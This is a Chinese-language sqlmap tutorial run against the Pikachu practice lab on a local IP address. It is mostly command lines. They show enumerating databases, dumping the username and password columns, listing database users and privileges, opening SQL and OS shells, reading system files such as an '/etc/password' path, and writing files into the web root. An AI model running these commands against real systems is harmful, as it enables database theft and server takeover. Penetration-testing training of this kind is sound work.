一、Sqlmap注入篇
Sqlmap是一個專業的SQL注入工具,用法也很多,具體可以用"sqlmap -hh"查看完整的命令幫助文檔,我這只是給大家分享一些最常用的Sqlmap用法。
1、檢查注入點
【get】 sqlmap -u "url"
【post】sqlmap -u "url" --data="參數"
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince"
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1"
2、爆所有數據庫信息
--dbs(爆所有數據庫信息)
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --dbs
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --dbs
--current-db(爆當前數據庫信息)
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --current-db
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --current-db
3、列出指定數據庫所有的表名
-D 數據庫名 --tables
例如:列出數據庫名為pikachu的所有數據表
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu --tables
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu --tables
4、列出指定表名的所有列名
--columns 所有列名
例如:數據庫pikachu中users表所有字段名
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users --columns
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users --columns
5、dump打印輸出表名指定列名字段的值數據
-C 指定需要顯示數值的字段名,不指定默認顯示全部字段
例如:數據庫pikachu中users表中username,password字段的值
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users -C username,password --dump
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users -C username,password --dump
6、Sqlmap -r 使用
使用Fiddler或者Burp Suite抓包將get或者post請求保存為.txt文件,然后使用Sqlmap -r “txt文件路徑”調用,這樣就不用輸入參數和cookie了。
例如:登錄成功后修改個人信息POST請求存在sql注入,將該post請求攔截后保存.txt文件,就不需要在Sqlmap中輸入參數和cookie。
updatapost.txt
POST /pikachu-master/vul/sqli/sqli_iu/sqli_edit.php HTTP/1.1
Host: 192.168.10.7:85
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: http://192.168.10.7:85
Connection: close
Referer: http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_iu/sqli_edit.php
Cookie: PHPSESSID=iiaobqh1ck7a8fvjeg03n4d650
Upgrade-Insecure-Requests: 1
sex=%E7%94%B7&phonenum=1358956663&add=0&email=2566388%40qq.com&submit=submit
將updatapost.txt放到安裝sqlmap的PC中。
如果將updatapost.txt放到sqlmap的安裝目錄中直接通過:root@kalitian:/# sqlmap -r "updatapost.txt" 即可執行注入。
如果將updatapost.txt放到其它目錄例如:
根目錄/創建tiansqlmap目錄來專門保存sql注入的.txt文件,使用方法-r "路徑"
root@kalitian:/# sqlmap -r "/tiansqlmap/updatapost.txt"
7、Sqlmap -m "批量掃描.txt"
批量url.txt放到-->/tiansqlmap/sqlmap批量url.txt
root@kalitian:~# sqlmap -m "/tiansqlmap/sqlmap批量url.txt" --smart --batch --level 5
8、Sqlmap 其它參數
--threads 10 //sqlmap線程最高設置為10
--level 3 //sqlmap默認測試所有的GET和POST參數,當--level的值大於等於2的時候也會測試HTTP Cookie頭的值,當大於等於3的時候也會測試User-Agent和HTTP Referer頭的值。最高可到5
--risk 3 // 執行測試的風險(0-3,默認為1)risk越高,越慢但是越安全
二、Sqlmap用戶權限
1、列出數據庫管理系統用戶
--users 列出數據庫系統用戶
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --users
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --users
--current-user 查看當前連接數據庫用戶
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --current-user
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --current-user
2、判斷當前用戶是否是DBA
--is-dba 是否是DBA
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --is-dba
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --is-dba
3、查看用戶權限
--privileges 查看用戶權限
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --privileges
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --privileges
--privileges -U 指定用戶名查看
三、Sqlmap文件操作與shell提權篇
1、sql shell
--sql-shell 進入sql-shell交互
這里通過sqlmap可以直接獲取一個sql shell,直接執行sql語句進行交互。
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --sql-shell
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --sql-shell
進入sql-shell交互:

注意:這里由於進入了sql shell可以執行sql語句了,也可以用 load data infile、load_file、into outfile等函數來進行文件讀取或寫入。
2、cmd shell
--os-shell 進入cmd shell交互
這里通過sqlmap可以直接獲取一個cmd shell,直接執行cmd命令進行交互。
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --os-shell
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --os-shell
3、讀取服務器上指定文件
--file-read = 需要讀取文件路徑
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --file-read=/etc/password
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --file-read=d:/text.txt
4、寫入本地文件到服務器上
--file-write /test/test.txt --file-dest 本地文件路徑
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --file-write /test/test.txt --file-dest /var/www/html/1.txt
【post數字類型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --file-write /test/test.txt --file-dest /var/www/html/1.txt
